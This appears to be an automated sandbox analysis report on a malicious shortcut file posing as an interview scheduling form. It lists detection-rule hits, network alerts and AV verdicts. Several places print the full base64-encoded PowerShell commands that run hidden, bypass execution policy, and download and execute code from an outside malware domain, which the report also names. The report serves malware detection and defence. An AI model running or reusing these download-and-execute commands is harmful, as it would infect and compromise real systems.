AOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEA

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA==" , CommandLine: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAF

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA==" , CommandLine: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAF

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA== , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6204, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline", ProcessId: 320, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6204, TargetFilename: C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA==" , CommandLine: powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAF

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 1408, ProcessName: sc.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7432, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA== , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6204, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline", ProcessId: 320, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T01:03:12.266451+0100	2803305	3	Unknown Traffic	192.168.2.5	49880	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T01:00:50.925904+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-15T01:00:53.827540+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49707	188.114.97.3	443	TCP
2024-11-15T01:00:56.273119+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49709	188.114.97.3	443	TCP
2024-11-15T01:01:23.161458+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49868	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://gmtagency.online/file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5292ac48064cc9f6b0f0207f961cf888ab6d838c88b93e528dcb49285dc5d3868388891d022d7c4d5917e79efb77320897b36777029f8dbedbda7d9256fa/Windows%20Defender/4/4/user/196	Avira URL Cloud: Label: malware
Source: https://gmtagency.online/file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\svczHost.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: Online Interview Scheduling Form.lnk

Virustotal: Detection: 23%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49880 version: TLS 1.2

Source:	Binary string: \?\C:\Windows\mscli.pdb source: powershell.exe, 00000010.00000002.3321545865.0000012C37102000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdby source: powershell.exe, 00000010.00000002.3321545865.0000012C37102000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.2372282434.000001CE1A133000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\mscorlib.pdbpdblib.pdb\S source: powershell.exe, 0000000A.00000002.2372282434.000001CE1A133000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000010.00000002.3321545865.0000012C37102000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ib.pdbpdblib.pdb source: powershell.exe, 00000010.00000002.3315389140.0000012C36DFC000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: winword.exe

Memory has grown: Private usage: 1MB later: 85MB

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 0000000A.00000002.2387164687.000001CE1A606000.00000004.00000020.00020000.00000000.sdmp	String found in memory: <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id"rId3 Type"http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties Target"docProps/app.xml/><Relationship Id"rId2 Type"http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties Target"docProps/core.xml/><Relationship Id"rId1 Type"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument Target"word/document.xml/></Relationships>es+xml/><Override PartName"/word/settings.xml ContentType"application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml/><Override PartName"/word/webSettings.xml ContentType"application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml/><Override PartName"/word/fontTable.xml ContentType"application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml/><Override PartName"/word/theme/theme1.xml ContentType"application/vnd.openxmlformats-officedocument.theme+xml/><Override PartName"/docProps/core.xml ContentType"application/vnd.openxmlformats-package.core-properties+xml/><Override PartName"/docProps/app.xml ContentType"application/vnd.openxmlformats-officedocument.extended-properties+xml/></Types>s
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp	String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman 